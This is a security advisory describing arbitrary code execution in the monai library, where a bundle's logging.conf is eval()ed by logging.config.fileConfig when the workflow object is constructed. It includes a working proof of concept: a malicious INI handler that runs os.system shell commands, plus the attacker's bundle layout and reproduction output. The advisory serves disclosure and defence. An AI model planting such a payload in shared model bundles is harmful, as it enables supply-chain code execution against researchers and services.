monai: Arbitrary code execution via a bundle's `configs/logging.conf` (`logging.config.fileConfig` eval)
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
monai.bundle.ConfigWorkflow sets its logging file to <bundle>/configs/logging.conf by default and, if that file exists, passes it to logging.config.fileConfig(). fileConfig eval()s the class= and args= fields of the INI's handler sections, so a malicious logging.conf runs arbitrary code the moment the workflow object is constructed.
This fires in ConfigWorkflow.__init__ — before initialize() or run() — and is reached by every bundle entrypoint that builds a workflow: monai.bundle.load() (a "load weights" verb), monai.bundle.run(), run_workflow(), create_workflow(), and direct ConfigWorkflow(config_file=...). An attacker who publishes a bundle whose configs/logging.conf carries a crafted handler achieves remote-ish code execution against anyone who loads or runs it.
This is a distinct primitive from the bundle config $-expression / _target_ RCE (reported separately): it lives in a plain INI file, not in the MONAI $-DSL, so it evades the intuition "don't put $ expressions in bundles you don't trust," and it triggers at object construction rather than at initialize.
Details
Root cause
ConfigWorkflow.__init__ defaults logging_file to the bundle's own configs/logging.conf and calls logging.config.fileConfig() on it with no trust check. fileConfig resolves handler classes and evaluates their constructor args with eval(), so any INI field placed there runs as Python.
Vulnerable code
# monai/bundle/workflows.py (ConfigWorkflow.__init__)
logging_file = str(self.config_root_path / "logging.conf") if logging_file is None else logging_file # :435
if logging_file is False:
logger.warning(...)
else:
if not os.path.isfile(logging_file):
...
else:
fileConfig(str(logging_file), disable_existing_loggers=False) # :445 <-- eval()s INI handler fieldsPoC
Attacker-published bundle (note: train.json is entirely benign):
coolseg/models/model.pt # benign, weights_only-loadable
coolseg/configs/train.json # {"workflow_type": "train"} -- no $ expressions, no initialize
coolseg/configs/logging.conf # malicious INI belowcoolseg/configs/logging.conf
[loggers]
keys=root
[handlers]
keys=h
[formatters]
keys=f
[logger_root]
level=NOTSET
handlers=h
[handler_h]
class=(__import__('os').system('echo LOGCONF_RCE_$(id -u)_$(whoami) > /tmp/pwned'), __import__('logging').StreamHandler)[1]
args=()
formatter=f
[formatter_f]
format=%(message)sVictim action — "load my segmentation model":
import monai.bundle monai.bundle.load(name="coolseg", source="huggingface_hub", repo="attacker/coolseg")
load → create_workflow → ConfigWorkflow.__init__ → fileConfig("configs/logging.conf") → the handler class= field is eval()ed → the shell command runs.
Dynamic validation
Reproduced against the analyzed clone (bundle pre-placed so the orthogonal network download is skipped; the path from create_workflow onward is identical). Decisive output:
MONAI_ALLOW_PICKLE_ENV: 0 MARKER_PRE_EXISTED: False TRAIN_JSON_HAS_INITIALIZE: False ATTACKER_CODE_RAN: True MARKER_CONTENT: LOGCONF_RCE_501_ty LOGGING_CONF_RCE_CONFIRMED: true
LOGCONF_RCE_501_ty is the live output of id -u / whoami, executed by the logging INI while train.json contained no MONAI $ expression at all.
Impact
Arbitrary code execution as the user who loads or runs the bundle. MONAI bundles are shared widely through the model zoo, Hugging Face, and NGC, so this is a practical supply-chain vector against researchers and inference services. Because the payload lives in logging.conf rather than the main config, it is easy to overlook when reviewing a bundle, and it executes at construction time before any run.
- Confidentiality / Integrity / Availability: High.
Text from GitHub Advisory Database
Affected versions 1
- monai, pypi>= 1.2.0GitHub